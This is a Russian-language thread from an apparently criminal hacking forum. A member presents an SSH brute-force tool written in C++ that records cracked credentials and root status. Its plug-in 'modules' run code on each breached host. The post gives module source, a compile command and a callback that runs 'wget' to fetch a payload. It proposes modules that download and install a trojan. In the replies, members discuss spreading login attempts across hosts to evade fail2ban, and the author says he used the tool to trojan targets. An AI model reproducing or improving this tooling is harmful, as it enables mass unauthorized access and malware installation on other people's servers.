• XSS.stack #1 – первый литературный журнал от юзеров форума

брутфорс Брут SSH на C++ с системой модулей

D3buG

RAID-массив
Пользователь
Регистрация
30.10.2022
Сообщения
94
Реакции
101
Гарант сделки
2
Всем привет, решил попробовать поучаствовать в конкурсе.
Представляю вам брутилку ssh с системой модулей.
Думаю, что делает этот софт всем понятно. Но что такое система модулей и как я её вообще запихнул в брут?)
Если Вы занимаетесь брутом, то скорее всего вы что-то потом делаете с этими доступами, верно?
Например, вы заливаете туда бэкдоры или ещё что-то.
Вероятно, вы это делаете руками или при помощи нескольких софтов.
Собственно, идея брута не нова, но я решил объединить 2 задачи в одну программу. Так еще и сделать универсальной для всех.
Вся суть модулей в том, что вы их сами можете писать. Модули если что для брута и выполняются у вас на ПК.

Дальше напишу чуть подробнее про модули, но сейчас я должен расписать про сам брут.
Брут написан на C++. Для подключения к SSH использует библиотеку libssh. Все гуды сохраняет в базе sqlite.
Я не писал отдельного софта для просмотра базы, поэтому вам придется пользоваться sqlitом и писать запросы самостоятельно :))
Хотя, я думаю, что вы будете в силах закодить скриптик на питончике для того, чтобы делать разную выборку.

Когда доступ был успешно получен, брутилка собирает доп инфу о системе. Всю эту инфу можно собрать из вывода uname с разными параметрами.
Помимо инфы о системе брут проверяет права. Он определяет есть ли у нас root права или есть root права через sudo (мы состоим в группе sudo).

Запись в базе выглядит так:
Код:
sqlite> select * from GOODS;
10.0.3.15|22|1|0|root|123|uid=0(root) gid=0(root) groups=0(root)|x86_64|6.1.0-17-amd64|#1 SMP PREEMPT_DYNAMIC Debian 6.1.69-1 (2023-12-30)|debroute|2024-02-18 14:34:26

ip, port, rooted, haverootbysudo, username, pass, groups, arch, kernel release, kernel version, hostname, дата добавления

В бруте предусмотрен многопоток. Потоки ставятся автоматически, чтобы не давать возможность ставить 200 потоков и жаловаться на скорость. Хотя скорость всё равно упрётся в интернет канал.

Теперь про систему модулей.
Что такое модуль? Модуль это скомпилированная динамическая библиотека (она имеет расширение .so).
Вы можете в теории писать модули на любом языке, но я рекомендую выбирать C++, потому что данные, которые передаются в модуль содержат классы из c++ stl.
Модуль должен экспортировать функцию
extern "C" void module_callback(SSH* _ssh, target_info* ti)
Она будет вызвана, когда будет получен доступ и запись будет сохранена в базе. (вызов этой функции thread-safe. То есть вы можете не бояться, что вашу функцию дернут сразу из нескольких потоков)
Немного разберемся, что за параметры я передаю туда.
SSH* это указатель на класс SSH, через который можно взаимодействовать с сессией. Например, выполнить команду (а собственно больше ничего и не нужно :) ).
target_info* указатель на структуру target_info, которая содержит данные по хосту, которые были записаны в базу. В том числе есть ли root доступ.

То есть теоретически, вы можете создать модуль, который проверяет наличие рут прав и создаёт какой-нибудь сервис)
Фантазировать можно долго...

Вот пример модуля для вывода в консоль (я не делал вывод в консоль в самом бруте)

C++:
#include "ssh_controller.hpp"
#include "target_info.hpp" // такого файла в проекте вы не найдете. Вам нужно будет его создать.
#include <iostream>

extern "C" void module_callback(SSH* _ssh, target_info* ti)
{
    if(ti)
        std::cout << ti->ip << ' ' << ti->port << ' ' << ti->username << ' ' << ti->password << std::endl; // можно вывести еще какие-то поля
}

extern "C" void _fini()
{
// тут очистка после выгрузки модуля
}

extern "C" void _init()
{
// тут может быть инициализация модуля
}

target_info.hpp
C++:
#ifndef _ti_hpp
#define _ti_hpp
#include <string>
struct target_info
{
    std::string ip;
    std::string username;
    std::string password;
    std::string groups;
    std::string arch;
    std::string kernel_release;
    std::string kernel_version;
    std::string hostname;
    ushort port;
    bool rooted;
    bool rootedBySudo;

    target_info(std::string&& user, std::string&& pass) : username(std::move(user)), password(std::move(pass)), rootedBySudo(false)
    {
        if(username == "root") {
            rooted = true;
        }
    }

    void set_groups(std::string&& groups_list) {
        groups = std::move(groups_list);
        if(groups.find("sudo") != std::string::npos){
            rootedBySudo = true;
            rooted = true;
        }
    }
};

#endif

Смотрите на методы и на поля и включайте фантазию) В целом можно почти любые действия автоматизировать.
Можете автотрой замутить))

У модулей есть система приоритетов. То есть какой-то модуль может выполняться гарантированно раньше, чем другой.
Формат имени модуля такой: "<приоритет число>_имя_модуля.so". Пример: "1_printing_module.so"
Функция module_callback из модуля 1_printing_module.so будет вызвана раньше, чем аналогичная функция из модуля 2_xxx.so

Модули позволяют вам безгранично расширять функционал без надобности ковыряться в моих исходниках и добавлять что-то туда (хотя я очень советую вам поковырять в них и написать в тему).
Каждый модуль можно писать с чистого листа.

Накину примеры модулей:
Получили доступ -> по IP определили гео -> где-то сохранили
Получили доступ -> проверили root -> скачали трой -> добавили сервис
и так далее.

Всем удачи и пока.
Пишите в треде чё думаете) (ожидаю вопросы по коду и код ревью от всех властелинов цпп)

p.s компилить модули так:
g++ -shared -nostartfiles -o 1_module.so -fPIC main.cpp ssh_controller.cpp
Инструкция по компилу и использованию в архиве, в файле README.txt

выполнить команду по ssh можно через указатель на SSH. В функции коллбеке такой код:
C++:
extern "C" void module_callback(SSH* _ssh, target_info* ti)
{
    if(_ssh){
        std::string result = "";
        if(_ssh->execute_cmd("wget https://.../payload", result)){
            // команда выполнена успешно.
            // результат команды в result. можете почитать))
        }
    }
}
 

Вложения

  • src.zip
    10.4 КБ · Просмотры: 83
1. На сколько я понял после беглого просмотра кода, у тебя алгоритм такой: есть список IP:Port и список login:pass. Софт берет первый IP:Port и далее пытается на одном этом хосте последовательно авторизоваться всеми парами login:pass из списка. Затем берется следующий IP:Port и т.д.
Проблема тут в том, что при масс бруте это не рационально, т.к. после нескольких неудачных попыток авторизоваться подряд, на хосте сработает fail2ban или аналогичные решения и даже если допустим 5ым по очереди в списке будет подходящий пасс - хост всё равно кинет в невалид.
Гораздо более практично делать так: брать первый login:pass и пробегаться им по списку хостов, затем брать сдедующий login:pass и т.д. Если список хостов будет достаточно большим, то время между попытками брута одного и того же хоста будет превышать время срабатывания fail2ban (по дефолту 20мин)

2.
C++:
BS::thread_pool_light tpl(std::thread::hardware_concurrency() + 2);
Ты зря захардкодил число потоков. При таком подходе скорость брута будет очень небольшой, т.к. 99% времени это небольшое число потоков просто будет ждать результата tcp-коннектов к хостам.
 
1. На сколько я понял после беглого просмотра кода, у тебя алгоритм такой: есть список IP:Port и список login:pass. Софт берет первый IP:Port и далее пытается на одном этом хосте последовательно авторизоваться всеми парами login:pass из списка. Затем берется следующий IP:Port и т.д.
Проблема тут в том, что при масс бруте это не рационально, т.к. после нескольких неудачных попыток авторизоваться подряд, на хосте сработает fail2ban или аналогичные решения и даже если допустим 5ым по очереди в списке будет подходящий пасс - хост всё равно кинет в невалид.
Гораздо более практично делать так: брать первый login:pass и пробегаться им по списку хостов, затем брать сдедующий login:pass и т.д. Если список хостов будет достаточно большим, то время между попытками брута одного и того же хоста будет превышать время срабатывания fail2ban (по дефолту 20мин)
дельное замечание, но только это не очень ляжет на идею многопоточности.
Допустим, что создалось 6 потоков в тредпуле. Тогда мы возьмем 6 паролей и пойдем пихать их во все хосты.
Также обозначим, что f2b будет банить спустя 3 провальные попытки.
Если валидный пасс был в диапазоне от 3 до 6, то его пропустит(
Твоя идея хороша, если один поток. (если я правильно понял, то в моём исходнике ты хотел поменять списки ипов и паролей местами). А если несколько потоков (и их больше, чем разрешено попыток у f2b), то та же самая проблема.

т.к. 99% времени это небольшое число потоков просто будет ждать результата tcp-коннектов к хостам.
да, возможно потоков стоит побольше сделать.

upd: можно кстати изначально в список паролей добавлять 1-2 пары и давать им кучу хостов)) Тогда и f2b не страшен будет.
 
придется пользоваться sqlitом и писать запросы самостоятельно :)
apt install sqlitebrowser
 
дельное замечание, но только это не очень ляжет на идею многопоточности.
Допустим, что создалось 6 потоков в тредпуле. Тогда мы возьмем 6 паролей и пойдем пихать их во все хосты.
Также обозначим, что f2b будет банить спустя 3 провальные попытки.
Если валидный пасс был в диапазоне от 3 до 6, то его пропустит(
Твоя идея хороша, если один поток. (если я правильно понял, то в моём исходнике ты хотел поменять списки ипов и паролей местами). А если несколько потоков (и их больше, чем разрешено попыток у f2b), то та же самая проблема.


да, возможно потоков стоит побольше сделать.

upd: можно кстати изначально в список паролей добавлять 1-2 пары и давать им кучу хостов)) Тогда и f2b не страшен будет.
Сделай интерфейс get_next_pair() или на подобии.
Что бы у твоего объекта Брута (ип:порт) был тайм-аут последней попытки авторизации. И был общий список или кольцевой буфер, куда бы в начало добавлялись (перемещались) только что отработанные объекты, а с хвоста забирались в обработку. Если, к примеру, ты взял из хвоста объект, чекнул в нем атомарный счётчик времени, и видишь что прошло слишком мало с последней попытки - закидуй в начало его что б не мешал.
 
apt install sqlitebrowser
Имеет место быть, но универсальным софтом всем не угодишь
Сделай интерфейс get_next_pair() или на подобии.
Что бы у твоего объекта Брута (ип:порт) был тайм-аут последней попытки авторизации. И был общий список или кольцевой буфер, куда бы в начало добавлялись (перемещались) только что отработанные объекты, а с хвоста забирались в обработку. Если, к примеру, ты взял из хвоста объект, чекнул в нем атомарный счётчик времени, и видишь что прошло слишком мало с последней попытки - закидуй в начало его что б не мешал.
Интересная идея. Но мне идеи попыток обхода средств защиты не очень нравятся, потому что нет возможности сделать универсальное решение. Например, сколько ждать? Я на своих серверах бывает иногда ставлю поиск фэйлов за последние 12 часов. Само собой скорость брута такого сервера будет 2 пасса/сутки. Это не о чём. И так как нет возможности узнать какая конфигурация у того же f2b на таргете, нет смысла дрочиться с этими задержками. Имеет смысл только задержку по дефолту предусмотреть (не вспомню какая она в f2b, но думаю, что там 1 час стоит по-любому).
Если на сервере стоит защита от брута, то брутить его изначально плохая затея. Особенно если там психопат сисадмин, который ищет за последние 12 часов и допускает 2 фэйла 😁
Поэтому, когда я писал этот софт, я не подразумевал обход защитных решений. Они обходятся только огромным кол-во проксей. Да и если там стоит f2b, то долбиться с дефолтными паролями плохая идея. (есть исключения)
Поэтому не вижу особого смысла мурыжить дальше софтину. Она мне пригодилась именно в таком виде, в котором я её выложил, но там и таргеты специфичные были (ипы не с диапазонов и я +- знал креды и мне надо было протроянить по-быстрому всё).
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх